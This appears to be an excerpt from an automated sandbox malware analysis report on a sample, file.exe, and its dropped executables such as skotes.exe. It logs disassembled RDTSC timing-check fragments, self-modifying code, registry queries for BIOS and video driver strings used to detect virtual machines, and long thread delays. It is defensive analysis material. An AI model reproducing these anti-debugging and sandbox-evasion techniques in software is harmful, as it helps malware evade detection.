Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90672 second address: 4E906EF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6B30D7C39Bh 0x00000008 sub ax, F4FEh 0x0000000d jmp 00007F6B30D7C3A9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dl, cl 0x00000017 popad 0x00000018 mov eax, dword ptr fs:[00000000h] 0x0000001e pushad 0x0000001f mov si, bx 0x00000022 pushfd 0x00000023 jmp 00007F6B30D7C3A5h 0x00000028 jmp 00007F6B30D7C39Bh 0x0000002d popfd 0x0000002e popad 0x0000002f nop 0x00000030 jmp 00007F6B30D7C3A6h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906EF second address: 4E906F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906F3 second address: 4E906F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906F9 second address: 4E9073F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F6B312295F6h 0x0000000f sub esp, 1Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6B312295F7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9073F second address: 4E907D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6B30D7C39Ch 0x00000011 add ax, 07D8h 0x00000016 jmp 00007F6B30D7C39Bh 0x0000001b popfd 0x0000001c mov ax, 1E8Fh 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007F6B30D7C3A5h 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F6B30D7C39Eh 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F6B30D7C39Dh 0x00000037 sbb ecx, 2AB9F0D6h 0x0000003d jmp 00007F6B30D7C3A1h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E907D1 second address: 4E9085F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F6B312295F8h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F6B312295F0h 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 movzx esi, di 0x00000019 mov edi, 71FF4F6Eh 0x0000001e popad 0x0000001f push ebp 0x00000020 pushad 0x00000021 call 00007F6B312295F0h 0x00000026 pushad 0x00000027 popad 0x00000028 pop esi 0x00000029 pushfd 0x0000002a jmp 00007F6B312295F1h 0x0000002f sub cx, F7A6h 0x00000034 jmp 00007F6B312295F1h 0x00000039 popfd 0x0000003a popad 0x0000003b mov dword ptr [esp], edi 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F6B312295EDh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9085F second address: 4E908A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F6B30D7C3A3h 0x0000000b or ch, FFFFFF8Eh 0x0000000e jmp 00007F6B30D7C3A9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [7751B370h] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov ch, 32h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908A2 second address: 4E908C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, edx 0x00000008 popad 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B312295F8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908C8 second address: 4E908CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908CE second address: 4E90917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007F6B312295EBh 0x00000012 add ecx, 0396EFAEh 0x00000018 jmp 00007F6B312295F9h 0x0000001d popfd 0x0000001e pop eax 0x0000001f movsx edi, ax 0x00000022 popad 0x00000023 nop 0x00000024 pushad 0x00000025 mov edx, ecx 0x00000027 mov ch, 3Eh 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c push esi 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90917 second address: 4E90970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov ecx, 4D1C853Bh 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F6B30D7C39Eh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 push ecx 0x00000016 mov cx, bx 0x00000019 pop edx 0x0000001a pushfd 0x0000001b jmp 00007F6B30D7C3A6h 0x00000020 xor ax, F5E8h 0x00000025 jmp 00007F6B30D7C39Bh 0x0000002a popfd 0x0000002b popad 0x0000002c mov dword ptr fs:[00000000h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90970 second address: 4E90975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90975 second address: 4E9097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9097B second address: 4E9097F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9097F second address: 4E909C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F6B30D7C3A0h 0x00000013 mov eax, dword ptr [esi+10h] 0x00000016 jmp 00007F6B30D7C3A0h 0x0000001b test eax, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E909C8 second address: 4E909D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 4FEEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E9062 second address: 7E9078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E7FE1 second address: 7E7FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6B312295E6h 0x0000000a jno 00007F6B312295E6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E816D second address: 7E8194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F6B30D7C396h 0x0000000e jmp 00007F6B30D7C3A9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E8194 second address: 7E819E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E819E second address: 7E81C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6B30D7C396h 0x0000000a jmp 00007F6B30D7C3A9h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E81C1 second address: 7E81C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E831C second address: 7E8331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F6B30D7C3A0h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E88D3 second address: 7E88ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB199 second address: 7EB1BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jnl 00007F6B30D7C396h 0x00000010 pop edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ecx 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d jg 00007F6B30D7C396h 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB1BD second address: 7EB1E7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B312295E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jc 00007F6B312295F2h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB269 second address: 7EB317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F6B30D7C398h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F6B30D7C3A0h 0x00000028 mov ecx, dword ptr [ebp+122D2E80h] 0x0000002e mov edx, dword ptr [ebp+122D3D26h] 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 mov edx, 61A13000h 0x0000003c pop edx 0x0000003d call 00007F6B30D7C399h 0x00000042 jg 00007F6B30D7C39Eh 0x00000048 push eax 0x00000049 jne 00007F6B30D7C39Eh 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 jp 00007F6B30D7C3A4h 0x00000059 mov eax, dword ptr [eax] 0x0000005b jns 00007F6B30D7C3A2h 0x00000061 mov dword ptr [esp+04h], eax 0x00000065 push eax 0x00000066 push edx 0x00000067 je 00007F6B30D7C398h 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB317 second address: 7EB3BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B312295F3h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e and edx, dword ptr [ebp+122D2FC8h] 0x00000014 push 00000003h 0x00000016 or edx, dword ptr [ebp+122D30C0h] 0x0000001c push 00000000h 0x0000001e jmp 00007F6B312295F0h 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F6B312295E8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f jmp 00007F6B312295ECh 0x00000044 call 00007F6B312295E9h 0x00000049 jmp 00007F6B312295EEh 0x0000004e push eax 0x0000004f jmp 00007F6B312295EBh 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 push ecx 0x00000059 push esi 0x0000005a push eax 0x0000005b pop eax 0x0000005c pop esi 0x0000005d pop ecx 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jnc 00007F6B312295E6h 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB3BD second address: 7EB3C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB3C1 second address: 7EB3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB503 second address: 7EB51B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB51B second address: 7EB523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7EB606 second address: 7EB60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80B395 second address: 80B399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80B6B1 second address: 80B6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80B6B7 second address: 80B722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F8h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F6B312295F9h 0x00000010 pop eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F6B312295FBh 0x0000001a push edi 0x0000001b jmp 00007F6B312295F3h 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80BCB0 second address: 80BCB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80BCB5 second address: 80BCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80BCBB second address: 80BCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80BF68 second address: 80BF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80BF6C second address: 80BF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80C0D9 second address: 80C0E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80C24F second address: 80C267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnc 00007F6B30D7C396h 0x00000011 jbe 00007F6B30D7C396h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80C267 second address: 80C276 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B312295EAh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7E2102 second address: 7E210A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA17 second address: 80CA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA1D second address: 80CA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6B30D7C396h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F6B30D7C396h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA32 second address: 80CA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA36 second address: 80CA41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA41 second address: 80CA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CA45 second address: 80CA68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A4h 0x00000007 ja 00007F6B30D7C396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CBE8 second address: 80CBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CBEE second address: 80CBF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80CD6A second address: 80CD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 80EE78 second address: 80EE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 813DB6 second address: 813DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 814271 second address: 81428A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F6B30D7C398h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F6B30D7C398h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 814441 second address: 814449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 81466E second address: 814679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6B30D7C396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 819EDC second address: 819F38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F6B312295E6h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F6B312295F5h 0x00000014 jmp 00007F6B312295F1h 0x00000019 js 00007F6B312295E6h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 js 00007F6B31229604h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6B312295F0h 0x0000002f jnp 00007F6B312295E6h 0x00000035 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AA3ED7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8FC5B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ACB784 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8FEEEB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AAA914 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2B9CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 813ED7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 66C5B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83B784 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 66EEEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 81A914 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 89B9CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Special instruction interceptor: First address: 902A3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Special instruction interceptor: First address: AA9A53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Special instruction interceptor: First address: B3B756 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF022E rdtsc

0_2_04EF022E

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1045	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1379	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1400	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4776
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3215
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5768
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1764

Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5612	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6848	Thread sleep count: 1045 > 30	Jump to behavior
